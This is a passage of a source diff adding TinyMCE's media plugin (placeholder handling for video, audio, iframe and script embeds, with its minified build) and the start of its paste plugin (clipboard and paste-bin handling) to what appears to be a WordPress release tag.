+					case "embed":
+					case "img":
+					case "iframe":
+						setAttributes(attrs, {
+							width: data.width,
+							height: data.height
+						});
+						break;
+				}
+
+				if (updateAll) {
+					switch (name) {
+						case "video":
+							setAttributes(attrs, {
+								poster: data.poster,
+								src: ""
+							});
+
+							if (data.source2) {
+								setAttributes(attrs, {
+									src: ""
+								});
+							}
+							break;
+
+						case "iframe":
+							setAttributes(attrs, {
+								src: data.source1
+							});
+							break;
+
+						case "source":
+							sourceCount++;
+
+							if (sourceCount <= 2) {
+								setAttributes(attrs, {
+									src: data["source" + sourceCount],
+									type: data["source" + sourceCount + "mime"]
+								});
+
+								if (!data["source" + sourceCount]) {
+									return;
+								}
+							}
+							break;
+
+						case "img":
+							if (!data.poster) {
+								return;
+							}
+
+							hasImage = true;
+							break;
+					}
+				}
+
+				writer.start(name, attrs, empty);
+			},
+
+			end: function(name) {
+				if (name == "video" && updateAll) {
+					for (var index = 1; index <= 2; index++) {
+						if (data["source" + index]) {
+							var attrs = [];
+							attrs.map = {};
+
+							if (sourceCount < index) {
+								setAttributes(attrs, {
+									src: data["source" + index],
+									type: data["source" + index + "mime"]
+								});
+
+								writer.start("source", attrs, true);
+							}
+						}
+					}
+				}
+
+				if (data.poster && name == "object" && updateAll && !hasImage) {
+					var imgAttrs = [];
+					imgAttrs.map = {};
+
+					setAttributes(imgAttrs, {
+						src: data.poster,
+						width: data.width,
+						height: data.height
+					});
+
+					writer.start("img", imgAttrs, true);
+				}
+
+				writer.end(name);
+			}
+		}, new tinymce.html.Schema({})).parse(html);
+
+		return writer.getContent();
+	}
+
+	editor.on('ResolveName', function(e) {
+		var name;
+
+		if (e.target.nodeType == 1 && (name = e.target.getAttribute("data-mce-object"))) {
+			e.name = name;
+		}
+	});
+
+	editor.on('preInit', function() {
+		// Make sure that any messy HTML is retained inside these
+		var specialElements = editor.schema.getSpecialElements();
+		tinymce.each('video audio iframe object'.split(' '), function(name) {
+			specialElements[name] = new RegExp('<\/' + name + '[^>]*>', 'gi');
+		});
+
+		// Allow elements
+		//editor.schema.addValidElements('object[id|style|width|height|classid|codebase|*],embed[id|style|width|height|type|src|*],video[*],audio[*]');
+
+		// Set allowFullscreen attribs as boolean
+		var boolAttrs = editor.schema.getBoolAttrs();
+		tinymce.each('webkitallowfullscreen mozallowfullscreen allowfullscreen'.split(' '), function(name) {
+			boolAttrs[name] = {};
+		});
+
+		// Converts iframe, video etc into placeholder images
+		editor.parser.addNodeFilter('iframe,video,audio,object,embed,script', function(nodes, name) {
+			var i = nodes.length, ai, node, placeHolder, attrName, attrValue, attribs, innerHtml;
+			var videoScript;
+
+			while (i--) {
+				node = nodes[i];
+				if (!node.parent) {
+					continue;
+				}
+
+				if (node.name == 'script') {
+					videoScript = getVideoScriptMatch(node.attr('src'));
+					if (!videoScript) {
+						continue;
+					}
+				}
+
+				placeHolder = new tinymce.html.Node('img', 1);
+				placeHolder.shortEnded = true;
+
+				if (videoScript) {
+					if (videoScript.width) {
+						node.attr('width', videoScript.width.toString());
+					}
+
+					if (videoScript.height) {
+						node.attr('height', videoScript.height.toString());
+					}
+				}
+
+				// Prefix all attributes except width, height and style since we
+				// will add these to the placeholder
+				attribs = node.attributes;
+				ai = attribs.length;
+				while (ai--) {
+					attrName = attribs[ai].name;
+					attrValue = attribs[ai].value;
+
+					if (attrName !== "width" && attrName !== "height" && attrName !== "style") {
+						if (attrName == "data" || attrName == "src") {
+							attrValue = editor.convertURL(attrValue, attrName);
+						}
+
+						placeHolder.attr('data-mce-p-' + attrName, attrValue);
+					}
+				}
+
+				// Place the inner HTML contents inside an escaped attribute
+				// This enables us to copy/paste the fake object
+				innerHtml = node.firstChild && node.firstChild.value;
+				if (innerHtml) {
+					placeHolder.attr("data-mce-html", escape(innerHtml));
+					placeHolder.firstChild = null;
+				}
+
+				placeHolder.attr({
+					width: node.attr('width') || "300",
+					height: node.attr('height') || (name == "audio" ? "30" : "150"),
+					style: node.attr('style'),
+					src: tinymce.Env.transparentSrc,
+					"data-mce-object": name,
+					"class": "mce-object mce-object-" + name
+				});
+
+				node.replace(placeHolder);
+			}
+		});
+
+		// Replaces placeholder images with real elements for video, object, iframe etc
+		editor.serializer.addAttributeFilter('data-mce-object', function(nodes, name) {
+			var i = nodes.length, node, realElm, ai, attribs, innerHtml, innerNode, realElmName;
+
+			while (i--) {
+				node = nodes[i];
+				if (!node.parent) {
+					continue;
+				}
+
+				realElmName = node.attr(name);
+				realElm = new tinymce.html.Node(realElmName, 1);
+
+				// Add width/height to everything but audio
+				if (realElmName != "audio" && realElmName != "script") {
+					realElm.attr({
+						width: node.attr('width'),
+						height: node.attr('height')
+					});
+				}
+
+				realElm.attr({
+					style: node.attr('style')
+				});
+
+				// Unprefix all placeholder attributes
+				attribs = node.attributes;
+				ai = attribs.length;
+				while (ai--) {
+					var attrName = attribs[ai].name;
+
+					if (attrName.indexOf('data-mce-p-') === 0) {
+						realElm.attr(attrName.substr(11), attribs[ai].value);
+					}
+				}
+
+				if (realElmName == "script") {
+					realElm.attr('type', 'text/javascript');
+				}
+
+				// Inject innerhtml
+				innerHtml = node.attr('data-mce-html');
+				if (innerHtml) {
+					innerNode = new tinymce.html.Node('#text', 3);
+					innerNode.raw = true;
+					innerNode.value = sanitize(unescape(innerHtml));
+					realElm.append(innerNode);
+				}
+
+				node.replace(realElm);
+			}
+		});
+	});
+
+	editor.on('ObjectSelected', function(e) {
+		var objectType = e.target.getAttribute('data-mce-object');
+
+		if (objectType == "audio" || objectType == "script") {
+			e.preventDefault();
+		}
+	});
+
+	editor.on('objectResized', function(e) {
+		var target = e.target, html;
+
+		if (target.getAttribute('data-mce-object')) {
+			html = target.getAttribute('data-mce-html');
+			if (html) {
+				html = unescape(html);
+				target.setAttribute('data-mce-html', escape(
+					updateHtml(html, {
+						width: e.width,
+						height: e.height
+					})
+				));
+			}
+		}
+	});
+
+	editor.addButton('media', {
+		tooltip: 'Insert/edit video',
+		onclick: showDialog,
+		stateSelector: ['img[data-mce-object=video]', 'img[data-mce-object=iframe]']
+	});
+
+	editor.addMenuItem('media', {
+		icon: 'media',
+		text: 'Insert video',
+		onclick: showDialog,
+		context: 'insert',
+		prependToContext: true
+	});
+});
Index: /tags/4.1.6/src/wp-includes/js/tinymce/plugins/media/plugin.min.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/tinymce/plugins/media/plugin.min.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/tinymce/plugins/media/plugin.min.js	(revision 33402)
@@ -0,0 +1,1 @@
+tinymce.PluginManager.add("media",function(a,b){function c(a){return-1!=a.indexOf(".mp3")?"audio/mpeg":-1!=a.indexOf(".wav")?"audio/wav":-1!=a.indexOf(".mp4")?"video/mp4":-1!=a.indexOf(".webm")?"video/webm":-1!=a.indexOf(".ogg")?"video/ogg":-1!=a.indexOf(".swf")?"application/x-shockwave-flash":""}function d(b){var c=a.settings.media_scripts;if(c)for(var d=0;d<c.length;d++)if(-1!==b.indexOf(c[d].filter))return c[d]}function e(){function b(a){var b,c,f,g;b=d.find("#width")[0],c=d.find("#height")[0],f=b.value(),g=c.value(),d.find("#constrain")[0].checked()&&e&&j&&f&&g&&(a.control==b?(g=Math.round(f/e*g),c.value(g)):(f=Math.round(g/j*f),b.value(f))),e=f,j=g}function c(){k=h(this.value()),this.parent().parent().fromJSON(k)}var d,e,j,k,l=[{name:"source1",type:"filepicker",filetype:"media",size:40,autofocus:!0,label:"Source",onchange:function(a){tinymce.each(a.meta,function(a,b){d.find("#"+b).value(a)})}}];a.settings.media_alt_source!==!1&&l.push({name:"source2",type:"filepicker",filetype:"media",size:40,label:"Alternative source"}),a.settings.media_poster!==!1&&l.push({name:"poster",type:"filepicker",filetype:"image",size:40,label:"Poster"}),a.settings.media_dimensions!==!1&&l.push({type:"container",label:"Dimensions",layout:"flex",align:"center",spacing:5,items:[{name:"width",type:"textbox",maxLength:3,size:3,onchange:b},{type:"label",text:"x"},{name:"height",type:"textbox",maxLength:3,size:3,onchange:b},{name:"constrain",type:"checkbox",checked:!0,text:"Constrain proportions"}]}),k=i(a.selection.getNode()),e=k.width,j=k.height;var n={id:"mcemediasource",type:"textbox",flex:1,name:"embed",value:f(),multiline:!0,label:"Source"};n[m]=c,d=a.windowManager.open({title:"Insert/edit video",data:k,bodyType:"tabpanel",body:[{title:"General",type:"form",onShowTab:function(){k=h(this.next().find("#embed").value()),this.fromJSON(k)},items:l},{title:"Embed",type:"panel",layout:"flex",direction:"column",align:"stretch",padding:10,spacing:10,onShowTab:function(){this.find("#embed").value(g(this.parent().toJSON()))},items:[{type:"label",text:"Paste your embed code below:",forId:"mcemediasource"},n]}],onSubmit:function(){var b,c,d,e;for(b=a.dom.select("img[data-mce-object]"),a.insertContent(g(this.toJSON())),c=a.dom.select("img[data-mce-object]"),d=0;d<b.length;d++)for(e=c.length-1;e>=0;e--)b[d]==c[e]&&c.splice(e,1);a.selection.select(c[0]),a.nodeChanged()}})}function f(){var b=a.selection.getNode();return b.getAttribute("data-mce-object")?a.selection.getContent():void 0}function g(e){var f="";if(!e.source1&&(tinymce.extend(e,h(e.embed)),!e.source1))return"";if(e.source2||(e.source2=""),e.poster||(e.poster=""),e.source1=a.convertURL(e.source1,"source"),e.source2=a.convertURL(e.source2,"source"),e.source1mime=c(e.source1),e.source2mime=c(e.source2),e.poster=a.convertURL(e.poster,"poster"),e.flashPlayerUrl=a.convertURL(b+"/moxieplayer.swf","movie"),tinymce.each(l,function(a){var b,c,d;if(b=a.regex.exec(e.source1)){for(d=a.url,c=0;b[c];c++)d=d.replace("$"+c,function(){return b[c]});e.source1=d,e.type=a.type,e.width=e.width||a.w,e.height=e.height||a.h}}),e.embed)f=k(e.embed,e,!0);else{var g=d(e.source1);g&&(e.type="script",e.width=g.width,e.height=g.height),e.width=e.width||300,e.height=e.height||150,tinymce.each(e,function(b,c){e[c]=a.dom.encode(b)}),"iframe"==e.type?f+='<iframe src="'+e.source1+'" width="'+e.width+'" height="'+e.height+'"></iframe>':"application/x-shockwave-flash"==e.source1mime?(f+='<object data="'+e.source1+'" width="'+e.width+'" height="'+e.height+'" type="application/x-shockwave-flash">',e.poster&&(f+='<img src="'+e.poster+'" width="'+e.width+'" height="'+e.height+'" />'),f+="</object>"):-1!=e.source1mime.indexOf("audio")?a.settings.audio_template_callback?f=a.settings.audio_template_callback(e):f+='<audio controls="controls" src="'+e.source1+'">'+(e.source2?'\n<source src="'+e.source2+'"'+(e.source2mime?' type="'+e.source2mime+'"':"")+" />\n":"")+"</audio>":"script"==e.type?f+='<script src="'+e.source1+'"></script>':f=a.settings.video_template_callback?a.settings.video_template_callback(e):'<video width="'+e.width+'" height="'+e.height+'"'+(e.poster?' poster="'+e.poster+'"':"")+' controls="controls">\n<source src="'+e.source1+'"'+(e.source1mime?' type="'+e.source1mime+'"':"")+" />\n"+(e.source2?'<source src="'+e.source2+'"'+(e.source2mime?' type="'+e.source2mime+'"':"")+" />\n":"")+"</video>"}return f}function h(a){var b={};return new tinymce.html.SaxParser({validate:!1,allow_conditional_comments:!0,special:"script,noscript",start:function(a,c){if(b.source1||"param"!=a||(b.source1=c.map.movie),("iframe"==a||"object"==a||"embed"==a||"video"==a||"audio"==a)&&(b.type||(b.type=a),b=tinymce.extend(c.map,b)),"script"==a){var e=d(c.map.src);if(!e)return;b={type:"script",source1:c.map.src,width:e.width,height:e.height}}"source"==a&&(b.source1?b.source2||(b.source2=c.map.src):b.source1=c.map.src),"img"!=a||b.poster||(b.poster=c.map.src)}}).parse(a),b.source1=b.source1||b.src||b.data,b.source2=b.source2||"",b.poster=b.poster||"",b}function i(b){return b.getAttribute("data-mce-object")?h(a.serializer.serialize(b,{selection:!0})):{}}function j(b){if(a.settings.media_filter_html===!1)return b;var c=new tinymce.html.Writer;return new tinymce.html.SaxParser({validate:!1,allow_conditional_comments:!1,special:"script,noscript",comment:function(a){c.comment(a)},cdata:function(a){c.cdata(a)},text:function(a,b){c.text(a,b)},start:function(a,b,d){if("script"!=a&&"noscript"!=a){for(var e=0;e<b.length;e++)if(0===b[e].name.indexOf("on"))return;c.start(a,b,d)}},end:function(a){"script"!=a&&"noscript"!=a&&c.end(a)}},new tinymce.html.Schema({})).parse(b),c.getContent()}function k(a,b,c){function d(a,b){var c,d,e,f;for(c in b)if(e=""+b[c],a.map[c])for(d=a.length;d--;)f=a[d],f.name==c&&(e?(a.map[c]=e,f.value=e):(delete a.map[c],a.splice(d,1)));else e&&(a.push({name:c,value:e}),a.map[c]=e)}var e,f=new tinymce.html.Writer,g=0;return new tinymce.html.SaxParser({validate:!1,allow_conditional_comments:!0,special:"script,noscript",comment:function(a){f.comment(a)},cdata:function(a){f.cdata(a)},text:function(a,b){f.text(a,b)},start:function(a,h,i){switch(a){case"video":case"object":case"embed":case"img":case"iframe":d(h,{width:b.width,height:b.height})}if(c)switch(a){case"video":d(h,{poster:b.poster,src:""}),b.source2&&d(h,{src:""});break;case"iframe":d(h,{src:b.source1});break;case"source":if(g++,2>=g&&(d(h,{src:b["source"+g],type:b["source"+g+"mime"]}),!b["source"+g]))return;break;case"img":if(!b.poster)return;e=!0}f.start(a,h,i)},end:function(a){if("video"==a&&c)for(var h=1;2>=h;h++)if(b["source"+h]){var i=[];i.map={},h>g&&(d(i,{src:b["source"+h],type:b["source"+h+"mime"]}),f.start("source",i,!0))}if(b.poster&&"object"==a&&c&&!e){var j=[];j.map={},d(j,{src:b.poster,width:b.width,height:b.height}),f.start("img",j,!0)}f.end(a)}},new tinymce.html.Schema({})).parse(a),f.getContent()}var l=[{regex:/youtu\.be\/([\w\-.]+)/,type:"iframe",w:425,h:350,url:"//www.youtube.com/embed/$1"},{regex:/youtube\.com(.+)v=([^&]+)/,type:"iframe",w:425,h:350,url:"//www.youtube.com/embed/$2"},{regex:/vimeo\.com\/([0-9]+)/,type:"iframe",w:425,h:350,url:"//player.vimeo.com/video/$1?title=0&byline=0&portrait=0&color=8dc7dc"},{regex:/vimeo\.com\/(.*)\/([0-9]+)/,type:"iframe",w:425,h:350,url:"//player.vimeo.com/video/$2?title=0&amp;byline=0"},{regex:/maps\.google\.([a-z]{2,3})\/maps\/(.+)msid=(.+)/,type:"iframe",w:425,h:350,url:'//maps.google.com/maps/ms?msid=$2&output=embed"'}],m=tinymce.Env.ie&&tinymce.Env.ie<=8?"onChange":"onInput";a.on("ResolveName",function(a){var b;1==a.target.nodeType&&(b=a.target.getAttribute("data-mce-object"))&&(a.name=b)}),a.on("preInit",function(){var b=a.schema.getSpecialElements();tinymce.each("video audio iframe object".split(" "),function(a){b[a]=new RegExp("</"+a+"[^>]*>","gi")});var c=a.schema.getBoolAttrs();tinymce.each("webkitallowfullscreen mozallowfullscreen allowfullscreen".split(" "),function(a){c[a]={}}),a.parser.addNodeFilter("iframe,video,audio,object,embed,script",function(b,c){for(var e,f,g,h,i,j,k,l,m=b.length;m--;)if(f=b[m],f.parent&&("script"!=f.name||(l=d(f.attr("src"))))){for(g=new tinymce.html.Node("img",1),g.shortEnded=!0,l&&(l.width&&f.attr("width",l.width.toString()),l.height&&f.attr("height",l.height.toString())),j=f.attributes,e=j.length;e--;)h=j[e].name,i=j[e].value,"width"!==h&&"height"!==h&&"style"!==h&&(("data"==h||"src"==h)&&(i=a.convertURL(i,h)),g.attr("data-mce-p-"+h,i));k=f.firstChild&&f.firstChild.value,k&&(g.attr("data-mce-html",escape(k)),g.firstChild=null),g.attr({width:f.attr("width")||"300",height:f.attr("height")||("audio"==c?"30":"150"),style:f.attr("style"),src:tinymce.Env.transparentSrc,"data-mce-object":c,"class":"mce-object mce-object-"+c}),f.replace(g)}}),a.serializer.addAttributeFilter("data-mce-object",function(a,b){for(var c,d,e,f,g,h,i,k=a.length;k--;)if(c=a[k],c.parent){for(i=c.attr(b),d=new tinymce.html.Node(i,1),"audio"!=i&&"script"!=i&&d.attr({width:c.attr("width"),height:c.attr("height")}),d.attr({style:c.attr("style")}),f=c.attributes,e=f.length;e--;){var l=f[e].name;0===l.indexOf("data-mce-p-")&&d.attr(l.substr(11),f[e].value)}"script"==i&&d.attr("type","text/javascript"),g=c.attr("data-mce-html"),g&&(h=new tinymce.html.Node("#text",3),h.raw=!0,h.value=j(unescape(g)),d.append(h)),c.replace(d)}})}),a.on("ObjectSelected",function(a){var b=a.target.getAttribute("data-mce-object");("audio"==b||"script"==b)&&a.preventDefault()}),a.on("objectResized",function(a){var b,c=a.target;c.getAttribute("data-mce-object")&&(b=c.getAttribute("data-mce-html"),b&&(b=unescape(b),c.setAttribute("data-mce-html",escape(k(b,{width:a.width,height:a.height})))))}),a.addButton("media",{tooltip:"Insert/edit video",onclick:e,stateSelector:["img[data-mce-object=video]","img[data-mce-object=iframe]"]}),a.addMenuItem("media",{icon:"media",text:"Insert video",onclick:e,context:"insert",prependToContext:!0})});
Index: /tags/4.1.6/src/wp-includes/js/tinymce/plugins/paste/plugin.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/tinymce/plugins/paste/plugin.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/tinymce/plugins/paste/plugin.js	(revision 33402)
@@ -0,0 +1,1625 @@
+/**
+ * Compiled inline version. (Library mode)
+ */
+
+/*jshint smarttabs:true, undef:true, latedef:true, curly:true, bitwise:true, camelcase:true */
+/*globals $code */
+
+(function(exports, undefined) {
+	"use strict";
+
+	var modules = {};
+
+	function require(ids, callback) {
+		var module, defs = [];
+
+		for (var i = 0; i < ids.length; ++i) {
+			module = modules[ids[i]] || resolve(ids[i]);
+			if (!module) {
+				throw 'module definition dependecy not found: ' + ids[i];
+			}
+
+			defs.push(module);
+		}
+
+		callback.apply(null, defs);
+	}
+
+	function define(id, dependencies, definition) {
+		if (typeof id !== 'string') {
+			throw 'invalid module definition, module id must be defined and be a string';
+		}
+
+		if (dependencies === undefined) {
+			throw 'invalid module definition, dependencies must be specified';
+		}
+
+		if (definition === undefined) {
+			throw 'invalid module definition, definition function must be specified';
+		}
+
+		require(dependencies, function() {
+			modules[id] = definition.apply(null, arguments);
+		});
+	}
+
+	function defined(id) {
+		return !!modules[id];
+	}
+
+	function resolve(id) {
+		var target = exports;
+		var fragments = id.split(/[.\/]/);
+
+		for (var fi = 0; fi < fragments.length; ++fi) {
+			if (!target[fragments[fi]]) {
+				return;
+			}
+
+			target = target[fragments[fi]];
+		}
+
+		return target;
+	}
+
+	function expose(ids) {
+		for (var i = 0; i < ids.length; i++) {
+			var target = exports;
+			var id = ids[i];
+			var fragments = id.split(/[.\/]/);
+
+			for (var fi = 0; fi < fragments.length - 1; ++fi) {
+				if (target[fragments[fi]] === undefined) {
+					target[fragments[fi]] = {};
+				}
+
+				target = target[fragments[fi]];
+			}
+
+			target[fragments[fragments.length - 1]] = modules[id];
+		}
+	}
+
+// Included from: js/tinymce/plugins/paste/classes/Utils.js
+
+/**
+ * Utils.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * This class contails various utility functions for the paste plugin.
+ *
+ * @class tinymce.pasteplugin.Clipboard
+ * @private
+ */
+define("tinymce/pasteplugin/Utils", [
+	"tinymce/util/Tools",
+	"tinymce/html/DomParser",
+	"tinymce/html/Schema"
+], function(Tools, DomParser, Schema) {
+	function filter(content, items) {
+		Tools.each(items, function(v) {
+			if (v.constructor == RegExp) {
+				content = content.replace(v, '');
+			} else {
+				content = content.replace(v[0], v[1]);
+			}
+		});
+
+		return content;
+	}
+
+	/**
+	 * Gets the innerText of the specified element. It will handle edge cases
+	 * and works better than textContent on Gecko.
+	 *
+	 * @param {String} html HTML string to get text from.
+	 * @return {String} String of text with line feeds.
+	 */
+	function innerText(html) {
+		var schema = new Schema(), domParser = new DomParser({}, schema), text = '';
+		var shortEndedElements = schema.getShortEndedElements();
+		var ignoreElements = Tools.makeMap('script noscript style textarea video audio iframe object', ' ');
+		var blockElements = schema.getBlockElements();
+
+		function walk(node) {
+			var name = node.name, currentNode = node;
+
+			if (name === 'br') {
+				text += '\n';
+				return;
+			}
+
+			// img/input/hr
+			if (shortEndedElements[name]) {
+				text += ' ';
+			}
+
+			// Ingore script, video contents
+			if (ignoreElements[name]) {
+				text += ' ';
+				return;
+			}
+
+			if (node.type == 3) {
+				text += node.value;
+			}
+
+			// Walk all children
+			if (!node.shortEnded) {
+				if ((node = node.firstChild)) {
+					do {
+						walk(node);
+					} while ((node = node.next));
+				}
+			}
+
+			// Add \n or \n\n for blocks or P
+			if (blockElements[name] && currentNode.next) {
+				text += '\n';
+
+				if (name == 'p') {
+					text += '\n';
+				}
+			}
+		}
+
+		html = filter(html, [
+			/<!\[[^\]]+\]>/g // Conditional comments
+		]);
+
+		walk(domParser.parse(html));
+
+		return text;
+	}
+
+	/**
+	 * Trims the specified HTML by removing all WebKit fragments, all elements wrapping the body trailing BR elements etc.
+	 *
+	 * @param {String} html Html string to trim contents on.
+	 * @return {String} Html contents that got trimmed.
+	 */
+	function trimHtml(html) {
+		function trimSpaces(all, s1, s2) {
+			// WebKit &nbsp; meant to preserve multiple spaces but instead inserted around all inline tags,
+			// including the spans with inline styles created on paste
+			if (!s1 && !s2) {
+				return ' ';
+			}
+
+			return '\u00a0';
+		}
+
+		html = filter(html, [
+			/^[\s\S]*<body[^>]*>\s*|\s*<\/body[^>]*>[\s\S]*$/g, // Remove anything but the contents within the BODY element
+			/<!--StartFragment-->|<!--EndFragment-->/g, // Inner fragments (tables from excel on mac)
+			[/( ?)<span class="Apple-converted-space">\u00a0<\/span>( ?)/g, trimSpaces],
+			/<br>$/i // Trailing BR elements
+		]);
+
+		return html;
+	}
+
+	return {
+		filter: filter,
+		innerText: innerText,
+		trimHtml: trimHtml
+	};
+});
+
+// Included from: js/tinymce/plugins/paste/classes/Clipboard.js
+
+/**
+ * Clipboard.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * This class contains logic for getting HTML contents out of the clipboard.
+ *
+ * We need to make a lot of ugly hacks to get the contents out of the clipboard since
+ * the W3C Clipboard API is broken in all browsers that have it: Gecko/WebKit/Blink.
+ * We might rewrite this the way those API:s stabilize. Browsers doesn't handle pasting
+ * from applications like Word the same way as it does when pasting into a contentEditable area
+ * so we need to do lots of extra work to try to get to this clipboard data.
+ *
+ * Current implementation steps:
+ *  1. On keydown with paste keys Ctrl+V or Shift+Insert create
+ *     a paste bin element and move focus to that element.
+ *  2. Wait for the browser to fire a "paste" event and get the contents out of the paste bin.
+ *  3. Check if the paste was successful if true, process the HTML.
+ *  (4). If the paste was unsuccessful use IE execCommand, Clipboard API, document.dataTransfer old WebKit API etc.
+ *
+ * @class tinymce.pasteplugin.Clipboard
+ * @private
+ */
+define("tinymce/pasteplugin/Clipboard", [
+	"tinymce/Env",
+	"tinymce/util/VK",
+	"tinymce/pasteplugin/Utils"
+], function(Env, VK, Utils) {
+	return function(editor) {
+		var self = this, pasteBinElm, lastRng, keyboardPasteTimeStamp = 0, draggingInternally = false;
+		var pasteBinDefaultContent = '%MCEPASTEBIN%', keyboardPastePlainTextState;
+
+		/**
+		 * Pastes the specified HTML. This means that the HTML is filtered and then
+		 * inserted at the current selection in the editor. It will also fire paste events
+		 * for custom user filtering.
+		 *
+		 * @param {String} html HTML code to paste into the current selection.
+		 */
+		function pasteHtml(html) {
+			var args, dom = editor.dom;
+
+			args = editor.fire('BeforePastePreProcess', {content: html}); // Internal event used by Quirks
+			args = editor.fire('PastePreProcess', args);
+			html = args.content;
+
+			if (!args.isDefaultPrevented()) {
+				// User has bound PastePostProcess events then we need to pass it through a DOM node
+				// This is not ideal but we don't want to let the browser mess up the HTML for example
+				// some browsers add &nbsp; to P tags etc
+				if (editor.hasEventListeners('PastePostProcess') && !args.isDefaultPrevented()) {
+					// We need to attach the element to the DOM so Sizzle selectors work on the contents
+					var tempBody = dom.add(editor.getBody(), 'div', {style: 'display:none'}, html);
+					args = editor.fire('PastePostProcess', {node: tempBody});
+					dom.remove(tempBody);
+					html = args.node.innerHTML;
+				}
+
+				if (!args.isDefaultPrevented()) {
+					editor.insertContent(html, {merge: editor.settings.paste_merge_formats !== false});
+				}
+			}
+		}
+
+		/**
+		 * Pastes the specified text. This means that the plain text is processed
+		 * and converted into BR and P elements. It will fire paste events for custom filtering.
+		 *
+		 * @param {String} text Text to paste as the current selection location.
+		 */
+		function pasteText(text) {
+			text = editor.dom.encode(text).replace(/\r\n/g, '\n');
+
+			var startBlock = editor.dom.getParent(editor.selection.getStart(), editor.dom.isBlock);
+
+			// Create start block html for example <p attr="value">
+			var forcedRootBlockName = editor.settings.forced_root_block;
+			var forcedRootBlockStartHtml;
+			if (forcedRootBlockName) {
+				forcedRootBlockStartHtml = editor.dom.createHTML(forcedRootBlockName, editor.settings.forced_root_block_attrs);
+				forcedRootBlockStartHtml = forcedRootBlockStartHtml.substr(0, forcedRootBlockStartHtml.length - 3) + '>';
+			}
+
+			if ((startBlock && /^(PRE|DIV)$/.test(startBlock.nodeName)) || !forcedRootBlockName) {
+				text = Utils.filter(text, [
+					[/\n/g, "<br>"]
+				]);
+			} else {
+				text = Utils.filter(text, [
+					[/\n\n/g, "</p>" + forcedRootBlockStartHtml],
+					[/^(.*<\/p>)(<p>)$/, forcedRootBlockStartHtml + '$1'],
+					[/\n/g, "<br />"]
+				]);
+
+				if (text.indexOf('<p>') != -1) {
+					text = forcedRootBlockStartHtml + text;
+				}
+			}
+
+			pasteHtml(text);
+		}
+
+		/**
+		 * Creates a paste bin element as close as possible to the current caret location and places the focus inside that element
+		 * so that when the real paste event occurs the contents gets inserted into this element
+		 * instead of the current editor selection element.
+		 */
+		function createPasteBin() {
+			var dom = editor.dom, body = editor.getBody();
+			var viewport = editor.dom.getViewPort(editor.getWin()), scrollTop = viewport.y, top = 20;
+			var scrollContainer;
+
+			lastRng = editor.selection.getRng();
+
+			if (editor.inline) {
+				scrollContainer = editor.selection.getScrollContainer();
+
+				// Can't always rely on scrollTop returning a useful value.
+				// It returns 0 if the browser doesn't support scrollTop for the element or is non-scrollable
+				if (scrollContainer && scrollContainer.scrollTop > 0) {
+					scrollTop = scrollContainer.scrollTop;
+				}
+			}
+
+			/**
+			 * Returns the rect of the current caret if the caret is in an empty block before a
+			 * BR we insert a temporary invisible character that we get the rect this way we always get a proper rect.
+			 *
+			 * TODO: This might be useful in core.
+			 */
+			function getCaretRect(rng) {
+				var rects, textNode, node, container = rng.startContainer;
+
+				rects = rng.getClientRects();
+				if (rects.length) {
+					return rects[0];
+				}
+
+				if (!rng.collapsed || container.nodeType != 1) {
+					return;
+				}
+
+				node = container.childNodes[lastRng.startOffset];
+
+				// Skip empty whitespace nodes
+				while (node && node.nodeType == 3 && !node.data.length) {
+					node = node.nextSibling;
+				}
+
+				if (!node) {
+					return;
+				}
+
+				// Check if the location is |<br>
+				// TODO: Might need to expand this to say |<table>
+				if (node.tagName == 'BR') {
+					textNode = dom.doc.createTextNode('\uFEFF');
+					node.parentNode.insertBefore(textNode, node);
+
+					rng = dom.createRng();
+					rng.setStartBefore(textNode);
+					rng.setEndAfter(textNode);
+
+					rects = rng.getClientRects();
+					dom.remove(textNode);
+				}
+
+				if (rects.length) {
+					return rects[0];
+				}
+			}
+
+			// Calculate top cordinate this is needed to avoid scrolling to top of document
+			// We want the paste bin to be as close to the caret as possible to avoid scrolling
+			if (lastRng.getClientRects) {
+				var rect = getCaretRect(lastRng);
+
+				if (rect) {
+					// Client rects gets us closes to the actual
+					// caret location in for example a wrapped paragraph block
+					top = scrollTop + (rect.top - dom.getPos(body).y);
+				} else {
+					top = scrollTop;
+
+					// Check if we can find a closer location by checking the range element
+					var container = lastRng.startContainer;
+					if (container) {
+						if (container.nodeType == 3 && container.parentNode != body) {
+							container = container.parentNode;
+						}
+
+						if (container.nodeType == 1) {
+							top = dom.getPos(container, scrollContainer || body).y;
+						}
+					}
+				}
+			}
+
+			// Create a pastebin
+			pasteBinElm = dom.add(editor.getBody(), 'div', {
+				id: "mcepastebin",
+				contentEditable: true,
+				"data-mce-bogus": "all",
+				style: 'position: absolute; top: ' + top + 'px;' +
+					'width: 10px; height: 10px; overflow: hidden; opacity: 0'
+			}, pasteBinDefaultContent);
+
+			// Move paste bin out of sight since the controlSelection rect gets displayed otherwise on IE and Gecko
+			if (Env.ie || Env.gecko) {
+				dom.setStyle(pasteBinElm, 'left', dom.getStyle(body, 'direction', true) == 'rtl' ? 0xFFFF : -0xFFFF);
+			}
+
+			// Prevent focus events from bubbeling fixed FocusManager issues
+			dom.bind(pasteBinElm, 'beforedeactivate focusin focusout', function(e) {
+				e.stopPropagation();
+			});
+
+			pasteBinElm.focus();
+			editor.selection.select(pasteBinElm, true);
+		}
+
+		/**
+		 * Removes the paste bin if it exists.
+		 */
+		function removePasteBin() {
+			if (pasteBinElm) {
+				var pasteBinClone;
+
+				// WebKit/Blink might clone the div so
+				// lets make sure we remove all clones
+				// TODO: Man o man is this ugly. WebKit is the new IE! Remove this if they ever fix it!
+				while ((pasteBinClone = editor.dom.get('mcepastebin'))) {
+					editor.dom.remove(pasteBinClone);
+					editor.dom.unbind(pasteBinClone);
+				}
+
+				if (lastRng) {
+					editor.selection.setRng(lastRng);
+				}
+			}
+
+			pasteBinElm = lastRng = null;
+		}
+
+		/**
+		 * Returns the contents of the paste bin as a HTML string.
+		 *
+		 * @return {String} Get the contents of the paste bin.
+		 */
+		function getPasteBinHtml() {
+			var html = '', pasteBinClones, i, clone, cloneHtml;
+
+			// Since WebKit/Chrome might clone the paste bin when pasting
